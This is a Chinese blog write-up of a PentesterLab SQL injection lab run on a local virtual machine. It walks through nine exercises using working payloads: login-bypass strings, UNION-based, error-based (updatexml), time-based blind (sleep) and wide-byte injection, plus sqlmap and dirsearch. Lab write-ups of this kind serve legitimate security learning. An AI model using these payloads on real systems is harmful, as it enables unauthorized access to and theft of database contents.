PentesterLab靶场-sql注入
环境安装
随便在网上找了个Pentester的靶场，结果是2013年的，那就从2013年的这个靶场开始学习
下载镜像的地址：
https://pentesterlab.com/exer...
正常找个虚拟机，进行iso的安装
安装完成后，查下虚拟机的IP,直接访问即可http://192.168.29.129/
文章图片
sql注入
Example 1
万能密码：
自己尝试了几个密码，筛选出了这几个通关的，亲试可用：
admin'or 1=1#
"or"="a'='a
a'or' 1=1--
【PentesterLab靶场-sql注入】'or''='
用户名和密码都填一样的，点击提交通关
Example 2
通过order by语句确定字段的长度为3 --此处需要浏览此文的人自行学习，免得就无难度了
加粗部分为所需要填的注入语句，访问后通关
http://192.168.29.129/sqlinje...' union select 1,2,3 --+&password=2&submit=%E6%8F%90%E4%BA%A4
Example 3
去猜他的sql语句大概
select * from users where username='a' and password='b'
在尝试过程中发现使用单引号没有作用
尝试去构造及规避：
select * from users where username='\' and password=' or 1=1#'
用\做用户名，or 1=1#做密码直接登录
说白了就是执行了这段：
SELECT * FROM users where username="x" or 1=1#"
Example 4
在通过尝试发现界面会返回错误后，可以使用报错注入
案例4可以尝试报错注入：
http://192.168.29.129/sqlinje... and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
文章图片
以此类推，找到其他需要的信息
Example 5
起初用order by 来爆字段长度，结果发现一直报错
如果order by无法使用则直接上union 用字段来尝试破试出长度，发现长度就是之前试出来的3
union select 1,2,3
文章图片
增加一个长度4，报错：
文章图片
之后修改数字1,2的信息即可：
文章图片
直接暴库即可，直接拿sqlmap去爆它：
文章图片
Example 6
同样先爆字段长度用order by，发现这个可以爆，长度是3
之后再用union思路一样：
文章图片
Example 7
属于时间盲注，此处界面没有显示信息的地方，只能通过猜字段的形式来进行
通过大于、小于、等于来进行，发现本库的字段为21
http://192.168.29.129/sqlinje... and if(length(database())=21,sleep(5),1) --+
通过sqlmap爆一下，判断出来能注入后直接爆：
文章图片
Example 8
此处的案例是二次注入，使用
a' union select 1,2,3# 进行二次注入：
文章图片
查询列表，爆url，通过dirsearch爆出目录users,虽然是500但证明存在这个目录：
文章图片
尝试列表中的数字，发现4可以进行注入：
文章图片
Example 9
宽字节注入尝试，对于mysql数据库的测试：
文章图片
发现存在注入，添加成功
%df%27%20or%201=1%23
文章图片
推荐阅读
- 知识扩展-SQL查询基础
- Docker安装+靶场环境
- Flask-SQLAlchemy|Flask-SQLAlchemy 基本使用
- PiKachu靶场之PHP反序列化漏洞
- 反序列化漏洞学习笔记+靶场实战
- windows安装go-sqlite3失败，提示找不到gcc
- elasticsearch插件分析(2)-elasticsearch-sql
- Mybatis源码-SqlSession获取
- .NET|.NET SAAS 架构与设计 -SqlSugar ORM
- Spark3学习【基于Java】3.|Spark3学习【基于Java】3. Spark-Sql常用API